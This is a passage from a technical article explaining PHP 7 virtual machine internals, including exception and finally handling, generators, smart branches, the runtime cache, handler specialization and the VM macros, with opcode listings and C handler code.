DO_FCALL_BY_NAME\nV2 = FETCH_DIM_W $arr V1\nASSIGN_DIM V2 V3\nOP_DATA V5\n\n```\n\nNotably, this sequence first executes all side-effects from left to right and only then performs any necessary write\nfetches (we refer to the FETCH_DIM_W here as a “delayed opline”). This ensures that the write-fetch and the consuming\ninstruction are directly adjacent.\n\nConsider another example:\n\n```\n$arr[0]=&$arr[1];\n```\n\nHere we have a bit of problem: Both sides of the assignment must be fetched for write. However, if we fetch `$arr[0]`\nfor write and then `$arr[1]` for write, the latter might invalidate the former. This problem is solved as follows:\n\n```\nV2 = FETCH_DIM_W $arr 1\nV3 = MAKE_REF V2\nV1 = FETCH_DIM_W $arr 0\nASSIGN_REF V1 V3\n\n```\n\nHere `$arr[1]` is fetched for write first, then turned into a reference using MAKE_REF. The result of MAKE_REF is no\nlonger INDIRECT and not subject to invalidation, as such the fetch of `$arr[0]` can be performed safely.\n\n## Exception handling ##\n\nExceptions are the root of all evil.\n\nAn exception is generated by writing an exception into `EG(exception)`, where EG refers to executor globals. Throwing\nexceptions from C code does not involve stack unwinding, instead the abortion will propagate upwards through return\nvalue failure codes or checks for `EG(exception)`. The exception is only actually handled when control reenters the\nvirtual machine code.\n\nNearly all VM instructions can directly or indirectly result in an exception under some circumstances. For example any\n“undefined variable” notice can result in an exception if a custom error handler is used. We want to avoid checking\nwhether `EG(exception)` has been set after each VM instruction. Instead a small trick is used:\n\nWhen an exception is thrown the current opline of the current execute data is replaced with a dummy HANDLE_EXCEPTION\nopline (this obviously does not modify the op array, it only redirects a pointer). The opline at which the exception\noriginated is backed up into `EG(opline_before_exception)`.\n\nThis means that when control returns into the main virtual machine dispatch loop, the HANDLE_EXCEPTION opcode will be\ninvoked. There is a slight problem with this scheme: It requires that a) the opline stored in the execute data is\nactually the currently executed opline (otherwise opline_before_exception would be wrong) and b) the virtual machine\nuses the opline from the execute data to continue execution (otherwise HANDLE_EXCEPTION will not be invoked).\n\nWhile these requirements may sound trivial, they are not. The reason is that the virtual machine may be working on a\ndifferent opline variable that is out-of-sync with the opline stored in execute data. Before PHP 7 this only happened\nin the rarely used GOTO and SWITCH virtual machines, while in PHP 7 this is actually the default mode of operation: If\nthe compiler supports it, the opline is stored in a global register.\n\nAs such, before performing any operation that might possibly throw, the local opline must be written back into the\nexecute data (SAVE_OPLINE operation). Similarly, after any potentially throwing operation the local opline must be\npopulated from execute data (mostly a CHECK_EXCEPTION operation).\n\nNow, this machinery is what causes a HANDLE_EXCEPTION opcode to execute after an exception is thrown. But what does it\ndo? First of all, it determines whether the exception was thrown inside a try block. For this purpose the op array\ncontains an array of try_catch_elements that track opline offsets for try, catch and finally blocks:\n\n```\ntypedef struct _zend_try_catch_element {\n\tuint32_t try_op;\n\tuint32_t catch_op;  /* ketchup! */\n\tuint32_t finally_op;\n\tuint32_t finally_end;\n} zend_try_catch_element;\n```\n\nFor now we will pretend that finally blocks do not exist, as they are a whole different rabbit hole. Assuming that we\nare indeed inside a try block, the VM needs to clean up all unfinished operations that started before the throwing\nopline and don’t span past the end of the try block.\n\nThis involves freeing the stack frames and associated data of all calls currently in flight, as well as freeing live\ntemporaries. In the majority of cases temporaries are short-lived to the point that the consuming instruction directly\nfollows the generating one. However it can happen that the live-range spans multiple, potentially throwing instructions:\n\n```\n# (array)[] + throwing()\nL0:   T0 = CAST (array) []\nL1:   INIT_FCALL (0 args) \"throwing\"\nL2:   V1 = DO_FCALL\nL3:   T2 = ADD T0, V1\n\n```\n\nIn this case the T0 variable is live during instructions L1 and L2, and as such would need to be destroyed if the\nfunction call throws. One particular type of temporary tends to have particularly long live ranges: Loop variables.\nFor example:\n\n```\n# foreach ($array as $value) throw $ex;\nL0:   V0 = FE_RESET_R $array, ->L4\nL1:   FE_FETCH_R V0, $value, ->L4\nL2:   THROW $ex\nL3:   JMP ->L1\nL4:   FE_FREE V0\n\n```\n\nHere the “loop variable” V0 lives from L1 to L3 (generally always spanning the entire loop body). Live ranges are stored\nin the op array using the following structure:\n\n```\ntypedef struct _zend_live_range {\n    uint32_t var; /* low bits are used for variable type (ZEND_LIVE_* macros) */\n    uint32_t start;\n    uint32_t end;\n} zend_live_range;\n```\n\nHere `var` is the (operand encoded) variable the range applies to, `start` is the start opline offset (not including the\ngenerating instruction), while `end` if the end opline offset (including the consuming instruction). Of course live\nranges are only stored if the temporary is not immediately consumed.\n\nThe lower bits of `var` are used to store the type of the variable, which can be one of:\n\n- ZEND_LIVE_TMPVAR: This is a “normal” variable. It holds an ordinary zval value. Freeing this variable behaves like a\nFREE opcode.\n- ZEND_LIVE_LOOP: This is a foreach loop variable, which holds more than a simple zval. This corresponds to a FE_FREE\nopcode.\n- ZEND_LIVE_SILENCE: This is used for implementing the error suppression operator. The old error reporting level is\nbacked up into a temporary and later restored. If an exception is thrown we obviously want to restore it as well.\nThis corresponds to END_SILENCE.\n- ZEND_LIVE_ROPE: This is used for rope string concatenations, in which case the temporary is a fixed-sized array of\n`zend_string*` pointers living on the stack. In this case all the strings that have already been populated must be\nfreed. Corresponds approximately to END_ROPE.\n\nA tricky question to consider in this context is whether temporaries should be freed, if either their generating or\ntheir consuming instruction throws. Consider the following simple code:\n\n```\nT2 = ADD T0, T1\nASSIGN $v, T2\n\n```\n\nIf an exception is thrown by the ADD, should the T2 temporary be automatically freed, or is the ADD instruction\nresponsible for this? Similarly, if the ASSIGN throws, should T2 be freed automatically, or must the ASSIGN take care\nof this itself? In the latter case the answer is clear: An instruction is always responsible for freeing its operands,\neven if an exception is thrown.\n\nThe case of the result operand is more tricky, because the answer here changed between PHP 7.1 and 7.2: In PHP 7.1 the\ninstruction was responsible for freeing the result in case of an exception. In PHP 7.2 it is automatically freed (and\nthe instruction is responsible for making sure the result is *always* populated). The motivation for this change is the\nway that many basic instructions (such as ADD) are implemented. Their usual structure goes roughly as follows:\n\n```\n1. read input operands\n2. perform operation, write it into result operand\n3. free input operands (if necessary)\n\n```\n\nThis is problematic, because PHP is in the very unfortunate position of not only supporting exceptions and destructors,\nbut also supporting throwing destructors (this is the point where compiler engineers cry out in horror). As such, step 3\ncan throw, at which point the result is already populated. To avoid memory leaks in this edge-case, responsiblility for\nfreeing the result operand has been shifted from the instruction to the exception handling mechanism.\n\nOnce we have performed these cleanup operations, we can continue executing the catch block. If there is no catch (and\nno finally) we unwind the stack, i.e. destroy the current stack frame and give the parent frame a shot at handling the\nexception.\n\nSo you get a full appreciation for how ugly the whole exception handling business is, I’ll relate another tidbit related\nto throwing destructors. It’s not remotely relevant in practice, but we still need to handle it to ensure correctness.\nConsider this code:\n\n```\nforeach (new Dtor as $value) {\n    try {\n        echo \"Return\";\n        return;\n    } catch (Exception $e) {\n        echo \"Catch\";\n    }\n}\n\n```\n\nNow imagine that `Dtor` is a Traversable class with a throwing destructor. This code will result in the following opcode\nsequence, with the loop body indented for readability:\n\n```\nL0:   V0 = NEW 'Dtor', ->L2\nL1:   DO_FCALL\nL2:   V2 = FE_RESET_R V0, ->L11\nL3:   FE_FETCH_R V2, $value\nL4:       ECHO 'Return'\nL5:       FE_FREE (free on return) V2   # <- return\nL6:       RETURN null                   # <- return\nL7:       JMP ->L10\nL8:       CATCH 'Exception' $e\nL9:       ECHO 'Catch'\nL10:  JMP ->L3\nL11:  FE_FREE V2                        # <- the duplicated instr\n\n```\n\nImportantly, note that the “return” is compiled to a FE_FREE of the loop variable and a RETURN. Now, what happens if\nthat FE_FREE throws, because `Dtor` has a throwing destructor? Normally, we would say that this instruction is within\nthe try block, so we should be invoking the catch. However, at this point the loop variable has already been destroyed!\nThe catch discards the exception and we’ll try to continue iterating an already dead loop variable.\n\nThe cause of this problem is that, while the throwing FE_FREE is inside the try block, it is a copy of the FE_FREE in\nL11. Logically that is where the exception “really” occurred. This is why the FE_FREE generated by the break is\nannotated as being a FREE_ON_RETURN. This instructs the exception handling mechanism to move the source of the exception\nto the original freeing instruction. As such the above code will not run the catch block, it will generate an uncaught\nexception instead.\n\n## Finally handling ##\n\nPHP’s history with finally blocks is somewhat troubled. PHP 5.5 first introduced finally blocks, or rather: a really\nbuggy implementation of finally blocks. Each of PHP 5.6, 7.0 and 7.1 shipped with major rewrites of the finally\nimplementation, each fixing a whole slew of bugs, but not quite managing to reach a fully correct implementation. It\nlooks like PHP 7.1 finally managed to hit the nail (fingers crossed).\n\nWhile writing this section, I was surprised to find that from the perspective of the current implementation and my\ncurrent understanding, finally handling is actually not all that complicated. Indeed, in many ways the implementation\nbecame simpler through the different iterations, rather than more complex. This goes to show how an insufficient\nunderstanding of a problem can result in an implementation that is both excessively complex and buggy (although, to be\nfair, part of the complexity of the PHP 5 implementation stemmed directly from the lack of an AST).\n\nFinally blocks are run whenever control exits a try block, either normally (e.g. using return) or abnormally (by\nthrowing). There are a couple interesting edge-cases to consider, which I’ll quickly illustrate before going into the\nimplementation. Consider:\n\n```\ntry {\n    throw new Exception();\n} finally {\n    return 42;\n}\n```\n\nWhat happens? Finally wins and the function returns 42. Consider:\n\n```\ntry {\n    return 24;\n} finally {\n    return 42;\n}\n```\n\nAgain finally wins and the function returns 42. The finally always wins.\n\nPHP prohibits jumps out of finally blocks. For example the following is forbidden:\n\n```\nforeach ($array as $value) {\n    try {\n        return 42;\n    } finally {\n        continue;\n    }\n}\n```\n\nThe “continue” in the above code sample will generate a compile-error. It is important to understand that this\nlimitation is purely cosmetic and can be easily worked around by using the “well-known” catch control delegation\npattern:\n\n```\nforeach ($array as $value) {\n    try {\n        try {\n            return 42;\n        } finally {\n            throw new JumpException;\n        }\n    } catch (JumpException $e) {\n        continue;\n    }\n}\n```\n\nThe only real limitation that exists is that it is not possible to jump *into* a finally block, e.g. performing a goto\nfrom outside a finally to a label inside a finally is forbidden.\n\nWith the preliminaries out of the way, we can look at how finally works. The implementation uses two opcodes, FAST_CALL\nand FAST_RET. Roughly, FAST_CALL is for jumping into a finally block and FAST_RET is for jumping out of it. Let’s\nconsider the simplest case:\n\n```\ntry {\n    echo \"try\";\n} finally {\n    echo \"finally\";\n}\necho \"finished\";\n```\n\nThis code compiles down to the following opcode sequence:\n\n```\nL0:   ECHO string(\"try\")\nL1:   T0 = FAST_CALL ->L3\nL2:   JMP ->L5\nL3:   ECHO string(\"finally\")\nL4:   FAST_RET T0\nL5:   ECHO string(\"finished\")\nL6:   RETURN int(1)\n\n```\n\nThe FAST_CALL stores its own location into T0 and jumps into the finally block at L3. When FAST_RET is reached, it jumps\nback to (one after) the location stored in T0. In this case this would be L2, which is just a jump around the finally\nblock. This is the base case where no special control flow (returns or exceptions) occurs. Let’s now consider the\nexceptional case:\n\n```\ntry {\n    throw new Exception(\"try\");\n} catch (Exception $e) {\n    throw new Exception(\"catch\");\n} finally {\n    throw new Exception(\"finally\");\n}\n```\n\nWhen handling an exception, we have to consider the position of the thrown exception relative to the closest surrounding\ntry/catch/finally block:\n\n1. Throw from try, with matching catch: Populate `$e` and jump into catch.\n2. Throw from catch or try without matching catch, if there is a finally block: Jump into finally block and this\ntime back up the exception into the FAST_CALL temporary (instead of storing the return address there.)\n3. Throw from finally: If there is a backed-up exception in the FAST_CALL temporary, chain it as the previous exception\nof the thrown one. Continue bubbling the exception up to the next try/catch/finally.\n4. Otherwise: Continue bubbling the exception up to the next try/catch/finally.\n\nIn this example we’ll go through the first three steps: First try throws, triggering a jump into catch. Catch also\nthrows, triggering a jump into the finally block, with the exception backed up in the FAST_CALL temporary. The finally\nblock then also throws, so that the “finally” exception will bubble up with the “catch” exception set as its previous\nexception.\n\nA small variation on the previous example is the following code:\n\n```\ntry {\n    try {\n        throw new Exception(\"try\");\n    } finally {}\n} catch (Exception $e) {\n    try {\n        throw new Exception(\"catch\");\n    } finally {}\n} finally {\n    try {\n        throw new Exception(\"finally\");\n    } finally {}\n}\n```\n\nAll the inner finally blocks here are entered exceptionally, but left normally (via FAST_RET). In this case the\npreviously described exception handling procedure is resumed starting from the parent try/catch/finally block. This\nparent try/catch is stored in the FAST_RET opcode (here “try-catch(0)”).\n\nThis essentially covers the interaction of finally and exceptions. But what about a return in finally?\n\n```\ntry {\n    throw new Exception(\"try\");\n} finally {\n    return 42;\n}\n```\n\nThe relevant portion of the opcode sequence is this:\n\n```\nL4:   T0 = FAST_CALL ->L6\nL5:   JMP ->L9\nL6:   DISCARD_EXCEPTION T0\nL7:   RETURN 42\nL8:   FAST_RET T0\n\n```\n\nThe additional DISCARD_EXCEPTION opcode is responsible for discarding the exception thrown in the try block (remember:\nthe return in the finally wins). What about a return in try?\n\n```\ntry {\n    $a = 42;\n    return $a;\n} finally {\n    ++$a;\n}\n```\n\nThe excepted return value here is 42, not 43. The return value is determined by the `return $a` line, any further\nmodification of `$a` should not matter. The code results in:\n\n```\nL0:   ASSIGN $a, 42\nL1:   T3 = QM_ASSIGN $a\nL2:   T1 = FAST_CALL ->L6, T3\nL3:   RETURN T3\nL4:   T1 = FAST_CALL ->L6      # unreachable\nL5:   JMP ->L8                 # unreachable\nL6:   PRE_INC $a\nL7:   FAST_RET T1\nL8:   RETURN null\n\n```\n\nTwo of the opcodes are unreachable, as they occur directly after a return. These will be removed during optimization,\nbut I’m showing unoptimized opcodes here. There are two interesting things here: Firstly, `$a` is copied into T3 using\nQM_ASSIGN (which is basically a “copy into temporary” instruction). This is what prevents the later modification of `$a`\nfrom affecting the return value. Secondly, T3 is also passed to FAST_CALL, which will back up the value in T1. If the\nreturn from the try block is later discarded (e.g, because finally throws or returns), this mechanism will be used to\nfree the unused return value.\n\nAll of these individual mechanisms are simple, but some care needs to taken when they are composed. Consider the\nfollowing example, where `Dtor` is again some Traversable class with a throwing destructor:\n\n```\ntry {\n    foreach (new Dtor as $v) {\n        try {\n            return 1;\n        } finally {\n            return 2;\n        }\n    }\n} finally {\n    echo \"finally\";\n}\n```\n\nThis code generates the following opcodes:\n\n```\nL0:   V2 = NEW (0 args) \"Dtor\"\nL1:   DO_FCALL\nL2:   V4 = FE_RESET_R V2 ->L16\nL3:   FE_FETCH_R V4 $v ->L16\nL4:       T5 = FAST_CALL ->L10         # inner try\nL5:       FE_FREE (free on return) V4\nL6:       T1 = FAST_CALL ->L19\nL7:       RETURN 1\nL8:       T5 = FAST_CALL ->L10         # unreachable\nL9:       JMP ->L15\nL10:      DISCARD_EXCEPTION T5         # inner finally\nL11:      FE_FREE (free on return) V4\nL12:      T1 = FAST_CALL ->L19\nL13:      RETURN 2\nL14:      FAST_RET T5 try-catch(0)\nL15:  JMP ->L3\nL16:  FE_FREE V4\nL17:  T1 = FAST_CALL ->L19\nL18:  JMP ->L21\nL19:  ECHO \"finally\"                   # outer finally\nL20:  FAST_RET T1\n\n```\n\nThe sequence for the first return (from inner try) is FAST_CALL L10, FE_FREE V4, FAST_CALL L19, RETURN. This will first\ncall into the inner finally block, then free the foreach loop variable, then call into the outer finally block and\nthen return. The sequence for the second return (from inner finally) is DISCARD_EXCEPTION T5, FE_FREE V4,\nFAST_CALL L19. This first discards the exception (or here: return value) of the inner try block, then frees the foreach\nloop variable and finally calls into the outer finally block. Note how in both cases the order of these instructions is\nthe reverse order of the relevant blocks in the source code.\n\n## Generators ##\n\nGenerator functions may be paused and resumed, and consequently require special VM stack management. Here’s a simple\ngenerator:\n\n```\nfunction gen($x) {\n    foo(yield $x);\n}\n```\n\nThis yields the following opcodes:\n\n```\n$x = RECV 1\nGENERATOR_CREATE\nINIT_FCALL_BY_NAME (1 args) string(\"foo\")\nV1 = YIELD $x\nSEND_VAR_NO_REF_EX V1 1\nDO_FCALL_BY_NAME\nGENERATOR_RETURN null\n\n```\n\nUntil GENERATOR_CREATE is reached, this is executed as a normal function, on the normal VM stack. GENERATOR_CREATE then\ncreates a `Generator` object, as well as a heap-allocated execute_data structure (including slots for variables and\narguments, as usual), into which the execute_data on the VM stack is copied.\n\nWhen the generator is resumed again, the executor will use the heap-allocated execute_data, but will continue to use the\nmain VM stack to push call frames. An obvious problem with this is that it’s possible to interrupt a generator while a\ncall is in progress, as the previous example shows. Here the YIELD is executed at a point where the call frame for the\ncall foo() has already been pushed onto the VM stack.\n\nThis relatively uncommon case is handled by copying the active call frames into the generator structure when control is\nyielded, and restoring them when the generator is resumed.\n\nThis design is used since PHP 7.1. Previously, each generator had its own 4KiB VM page, which would be swapped into the\nexecutor when a generator was restored. This avoids the need for copying call frames, but increases memory usage.\n\n## Smart branches ##\n\nIt is very common that comparison instructions are directly followed by condition jumps. For example:\n\n```\nL0:   T2 = IS_EQUAL $a, $b\nL1:   JMPZ T2 ->L3\nL2:   ECHO \"equal\"\n\n```\n\nBecause this pattern is so common, all the comparison opcodes (such as IS_EQUAL) implement a smart branch mechanism:\nthey check if the next instruction is a JMPZ or JMPNZ instruction and if so, perform the respective jump operation\nthemselves.\n\nThe smart branch mechanism only checks whether the next instruction is a JMPZ/JMPNZ, but does not actually check whether\nits operand is actually the result of the comparison, or something else. This requires special care in cases where the\ncomparison and subsequent jump are unrelated. For example, the code `($a == $b) + ($d ? $e : $f)` generates:\n\n```\nL0:   T5 = IS_EQUAL $a, $b\nL1:   NOP\nL2:   JMPZ $d ->L5\nL3:   T6 = QM_ASSIGN $e\nL4:   JMP ->L6\nL5:   T6 = QM_ASSIGN $f\nL6:   T7 = ADD T5 T6\nL7:   FREE T7\n\n```\n\nNote that a NOP has been inserted between the IS_EQUAL and the JMPZ. If this NOP weren’t present, the branch would end\nup using the IS_EQUAL result, rather than the JMPZ operand.\n\n## Runtime cache ##\n\nBecause opcode arrays are shared (without locks) between multiple processes, they are strictly immutable. However,\nruntime values may be cached in a separate “runtime cache”, which is basically an array of pointers. Literals may have\nan associated runtime cache entry (or more than one), which is stored in their u2 slot.\n\nRuntime cache entries come in two types: The first are ordinary cache entries, such as the one used by INIT_FCALL. After\nINIT_FCALL has looked up the called function once (based on its name), the function pointer will be cached in the\nassociated runtime cache slot.\n\nThe second type are polymorphic cache entries, which are just two consecutive cache slots, where the first stores a\nclass entry and the second the actual datum. These are used for operations like FETCH_OBJ_R, where the offset of the\nproperty in the property table for a certain class is cached. If the next access happens on the same class (which is\nquite likely), the cached value will be used. Otherwise a more expensive lookup operation is performed, and the result\nis cached for the new class entry.\n\n## VM interrupts ##\n\nPrior to PHP 7.0, execution timeouts used to handled by a longjump into the shutdown sequence directly from the signal\nhandler. As you may imagine, this caused all manner of unpleasantness. Since PHP 7.0 timeouts are instead delayed until\ncontrol returns to the virtual machine. If it doesn’t return within a certain grace period, the process is aborted.\nSince PHP 7.1 pcntl signal handlers use the same mechanism as execution timeouts.\n\nWhen a signal is pending, a VM interrupt flag is set and this flag is checked by the virtual machine at certain points.\nA check is not performed at every instruction, but rather only on jumps and calls. As such the interrupt will not be\nhandled immediately on return to the VM, but rather at the end of the current section of linear control flow.\n\n## Specialization ##\n\nIf you take a look at the [VM definition](https://github.com/php/php-src/blob/master/Zend/zend_vm_def.h) file, you’ll\nfind that opcode handlers are defined as follows:\n\n```\nZEND_VM_HANDLER(1, ZEND_ADD, CONST|TMPVAR|CV, CONST|TMPVAR|CV)\n\n```\n\nThe `1` here is the opcode number, `ZEND_ADD` its name, while the other two arguments specify which operand types the\ninstruction accepts. The [generated virtual machine code](https://github.com/php/php-src/blob/master/Zend/zend_vm_execute.h)\n(generated by [zend_vm_gen.php](https://github.com/php/php-src/blob/master/Zend/zend_vm_gen.php)) will then contain\nspecialized handlers for each of the possible operand type combinations. These will have names like\nZEND_ADD_SPEC_CONST_CONST_HANDLER.\n\nThe specialized handlers are generated by replacing certain macros in the handler body. The obvious ones are OP1_TYPE\nand OP2_TYPE, but operations such as GET_OP1_ZVAL_PTR() and FREE_OP1() are also specialized.\n\nThe handler for ADD specified that it accepts `CONST|TMPVAR|CV` operands. The TMPVAR here means that the opcode accepts\nboth TMPs and VARs, but asks for these to not be specialized separately. Remember that for most purposes the only\ndifference between TMP and VAR is that the latter can contain references. For an opcode like ADD (where references are\non the slow-path anyway) having a separate specialization for this is not worthwhile. Some other opcodes that do make\nthis distinction will use `TMP|VAR` in their operand list.\n\nNext to the operand-type based specialization, handlers can also be specialized on other factors, such as whether their\nreturn value is used. ASSIGN_DIM specializes based on the operand type of the following OP_DATA opcode:\n\n```\nZEND_VM_HANDLER(147, ZEND_ASSIGN_DIM,\n    VAR|CV, CONST|TMPVAR|UNUSED|NEXT|CV, SPEC(OP_DATA=CONST|TMP|VAR|CV))\n\n```\n\nBased on this signature, 2*4*4=32 different variants of ASSIGN_DIM will be generated. The specification for the second\noperand also contains an entry for `NEXT`. This is not related to specialization, instead it specifies what the meaning\nof an UNUSED operand is in this context: it means that this is an append operations (`$arr[]`). Another example:\n\n```\nZEND_VM_HANDLER(23, ZEND_ASSIGN_ADD,\n    VAR|UNUSED|THIS|CV, CONST|TMPVAR|UNUSED|NEXT|CV, DIM_OBJ, SPEC(DIM_OBJ))\n\n```\n\nHere we have that the first operand being UNUSED implies an access on `$this`. This is a general convention for object\nrelated opcodes, for example `FETCH_OBJ_R UNUSED, 'prop'` corresponds to `$this->prop`. An UNUSED second operand again\nimplies an append operation. The third argument here specifies the meaning of the extended_value operand: It contains\na flag that distinguishes between `$a += 1`, `$a[$b] += 1` and `$a->b += 1`. Finally, the `SPEC(DIM_OBJ)` instructs that\na specialized handler should be generated for each of those. (In this case the number of total handlers that will be\ngenerated is non-trivial, because the VM generator knows that certain combination are impossible. For example an UNUSED\nop1 is only relevant for the OBJ case, etc.)\n\nFinally, the virtual machine generator supports an additional, more sophisticated specialization mechanism. Towards the\nend of the definition file, you will find a number of handlers of this form:\n\n```\nZEND_VM_TYPE_SPEC_HANDLER(\n    ZEND_ADD,\n    (res_info == MAY_BE_LONG && op1_info == MAY_BE_LONG && op2_info == MAY_BE_LONG),\n    ZEND_ADD_LONG_NO_OVERFLOW,\n    CONST|TMPVARCV, CONST|TMPVARCV, SPEC(NO_CONST_CONST,COMMUTATIVE)\n)\n\n```\n\nThese handlers specialize not only based on the VM operand type, but also based on the possible types the operand might\ntake at runtime. The mechanism by which possible operand types are determined is part of the opcache optimization\ninfrastructure and quite outside the scope of this article. However, assuming such information is available, it should\nbe clear that this is a handler for an addition of the form `int + int -> int`. Additionally, the SPEC annotation tells\nthe specializer that variants for two const operands should not be generated and that the operation is commutative, so\nthat if we already have a CONST+TMPVARCV specialization, we do not need to generate TMPVARCV+CONST as well.\n\n## Fast-path / slow-path split ##\n\nMany opcode handlers are implemented using a fast-path / slow-path split, where first a few common cases are handled,\nbefore falling back to a generic implementation. It’s about time we looked at some actual code, so I’ll just paste the\nentirety of the SL (shift-left) implementation here:\n\n```\nZEND_VM_HANDLER(6, ZEND_SL, CONST|TMPVAR|CV, CONST|TMPVAR|CV)\n{\n\tUSE_OPLINE\n\tzend_free_op free_op1, free_op2;\n\tzval *op1, *op2;\n\n\top1 = GET_OP1_ZVAL_PTR_UNDEF(BP_VAR_R);\n\top2 = GET_OP2_ZVAL_PTR_UNDEF(BP_VAR_R);\n\tif (EXPECTED(Z_TYPE_INFO_P(op1) == IS_LONG)\n\t\t\t&& EXPECTED(Z_TYPE_INFO_P(op2) == IS_LONG)\n\t\t\t&& EXPECTED((zend_ulong)Z_LVAL_P(op2) < SIZEOF_ZEND_LONG * 8)) {\n\t\tZVAL_LONG(EX_VAR(opline->result.var), Z_LVAL_P(op1) << Z_LVAL_P(op2));\n\t\tZEND_VM_NEXT_OPCODE();\n\t}\n\n\tSAVE_OPLINE();\n\tif (OP1_TYPE == IS_CV && UNEXPECTED(Z_TYPE_INFO_P(op1) == IS_UNDEF)) {\n\t\top1 = GET_OP1_UNDEF_CV(op1, BP_VAR_R);\n\t}\n\tif (OP2_TYPE == IS_CV && UNEXPECTED(Z_TYPE_INFO_P(op2) == IS_UNDEF)) {\n\t\top2 = GET_OP2_UNDEF_CV(op2, BP_VAR_R);\n\t}\n\tshift_left_function(EX_VAR(opline->result.var), op1, op2);\n\tFREE_OP1();\n\tFREE_OP2();\n\tZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION();\n}\n```\n\nThe implementation starts by fetching the operands using `GET_OPn_ZVAL_PTR_UNDEF` in BP_VAR_R mode. The `UNDEF` part\nhere means that no check for undefined variables is performed in the CV case, instead you’ll just get back an UNDEF\nvalue as-is. Once we have the operands, we check whether both are integers and the shift width is in range, in which\ncase the result can be directly computed and we advance to the next opcode. Notably, the type check here doesn’t care\nwhether the operands are UNDEF, so the use of GET_OPn_ZVAL_PTR_UNDEF is justified.\n\nIf the operands do not happen to satisfy the fast-path, we fall back to the generic implementation, which starts with\nSAVE_OPLINE(). This is our signal for “potentially throwing operations follow”. Before going any further, the case of\nundefined variables is handled. GET_OPn_UNDEF_CV will in this case emit an undefined variable notice and return a NULL\nvalue.\n\nNext, the generic shift_left_function is called and writes its result into `EX_VAR(opline->result.var)`. Finally, the\ninput operands are freed (if necessary) and we advance to the next opcode with an exception check (which means the\nopline is reloaded before advancing).\n\nAs such, the fast-path here saves two checks for undefined variables, a call to a generic operator function, freeing\nof operand, as well as saving and reloading of the opline for exception handling. Most of the performance sensitive\nopcodes are lain out in a similar fashion.\n\n## VM macros ##\n\nAs can be seen from the previous code listing, the virtual machine implementation makes liberal use of macros. Some of\nthese are normal C macros, while others are resolved during generation of the virtual machine. In particular, this\nincludes a number of macros for fetching and freeing instruction operands:\n\n```\nOPn_TYPE\nOP_DATA_TYPE\n\nGET_OPn_ZVAL_PTR(BP_VAR_*)\nGET_OPn_ZVAL_PTR_DEREF(BP_VAR_*)\nGET_OPn_ZVAL_PTR_UNDEF(BP_VAR_*)\nGET_OPn_ZVAL_PTR_PTR(BP_VAR_*)\nGET_OPn_ZVAL_PTR_PTR_UNDEF(BP_VAR_*)\nGET_OPn_OBJ_ZVAL_PTR(BP_VAR_*)\nGET_OPn_OBJ_ZVAL_PTR_UNDEF(BP_VAR_*)\nGET_OPn_OBJ_ZVAL_PTR_DEREF(BP_VAR_*)\nGET_OPn_OBJ_ZVAL_PTR_PTR(BP_VAR_*)\nGET_OPn_OBJ_ZVAL_PTR_PTR_UNDEF(BP_VAR_*)\nGET_OP_DATA_ZVAL_PTR()\nGET_OP_DATA_ZVAL_PTR_DEREF()\n\nFREE_OPn()\nFREE_OPn_IF_VAR()\nFREE_OPn_VAR_PTR()\nFREE_UNFETCHED_OPn()\nFREE_OP_DATA()\nFREE_UNFETCHED_OP_DATA()\n\n```\n\nAs you can see, there are quite a few variations here. The `BP_VAR_*` arguments specify the fetch mode and support the\nsame modes as the FETCH_* instructions (with the exception of FUNC_ARG).\n\n`GET_OPn_ZVAL_PTR()` is the basic operand fetch. It will throw a notice on undefined CV and will not dereference the\noperand. `GET_OPn_ZVAL_PTR_UNDEF()` is, as we already learned, a variant that does not check for undefined CVs.\n`GET_OPn_ZVAL_PTR_DEREF()` includes a DEREF of the zval. This is part of the specialized GET operation, because\ndereferencing is only necessary for CVs and VARs, but not for CONSTs and TMPs. Because this macro needs to distinguish\nbetween TMPs and VARs, it can only be used with `TMP|VAR` specialization (but not `TMPVAR`).\n\nThe `GET_OPn_OBJ_ZVAL_PTR*()` variants additionally handle the case of an UNUSED operand. As mentioned before, by\nconvention `$this` accesses use an UNUSED operand, so the `GET_OPn_OBJ_ZVAL_PTR*()` macros will return a reference to\n`EX(This)` for UNUSED ops.\n\nFinally, there are some `PTR_PTR` variants. The naming here is a leftover from PHP 5 times, where this actually used\ndoubly-indirected zval pointers. These macros are used in write operations and as such only support CV and VAR types\n(anything else returns NULL). They differ from normal PTR fetches in that that they de-INDIRECT VAR operands.\n\nThe `FREE_OP*()` macros are then used to free the fetched operands. To operate, they require the definition of a\n`zend_free_op free_opN` variable, into which the GET operation stores the value to free. The baseline `FREE_OPn()`\noperation will free TMPs and VARs, but not free CVs and CONSTs. `FREE_OPn_IF_VAR()` does exactly what it says: free the\noperand only if it is a VAR.\n\nThe `FREE_OP*_VAR_PTR()` variant is used in conjunction with `PTR_PTR` fetches. It will only free VAR operands and only\nif they are not INDIRECTed.\n\nThe `FREE_UNFETCHED_OP*()` variants are used in cases where an operand must be freed before it has been fetched with\nGET. This typically occurs if an exception is thrown prior to operand fetching.\n\nApart from these specialized macros, there are also quite a few macros of the more ordinary sort. The VM defines three\nmacros which control what happens after an opcode handler has run:\n\n```\nZEND_VM_CONTINUE()\nZEND_VM_ENTER()\nZEND_VM_LEAVE()\nZEND_VM_RETURN()\n\n```\n\nCONTINUE will continue executing opcodes as normal, while ENTER and LEAVE are used to enter/leave a nested function\ncall. The specifics of how these operate depends on precisely how the VM is compiled (e.g., whether global registers are\nused, and if so, which). In broad terms, these will synchronize some state from globals before continuing. RETURN is\nused to actually exit the main VM loop.\n\nZEND_VM_CONTINUE() expects that the opline is updated beforehand. Of course, there are more macros related to that:\n\n```\n                                        | Continue? | Check exception? | Check interrupt?\nZEND_VM_NEXT_OPCODE()                   |   yes     |       no         |       no\nZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION()   |   yes     |       yes        |       no\nZEND_VM_SET_NEXT_OPCODE(op)             |   no      |       no         |       no\nZEND_VM_SET_OPCODE(op)                  |   no      |       no         |       yes\nZEND_VM_SET_RELATIVE_OPCODE(op, offset) |   no      |       no         |       yes\nZEND_VM_JMP(op)                         |   yes     |       yes        |       yes\n\n```\n\nThe table shows whether the macro includes an implicit ZEND_VM_CONTINUE(), whether it will check for exceptions and\nwhether it will check for VM interrupts.\n\nNext to these, there are also `SAVE_OPLINE()`, `LOAD_OPLINE()` and `HANDLE_EXCEPTION()`. As has been mentioned in the\nsection on exception handling, SAVE_OPLINE() is used before the first potentially throwing operation in an opcode\nhandler. If necessary, it writes back the opline used by the VM (which might be in a global register) into the execute\ndata. LOAD_OPLINE() is the reverse operation, but nowadays it sees little use, because it has effectively been rolled\ninto 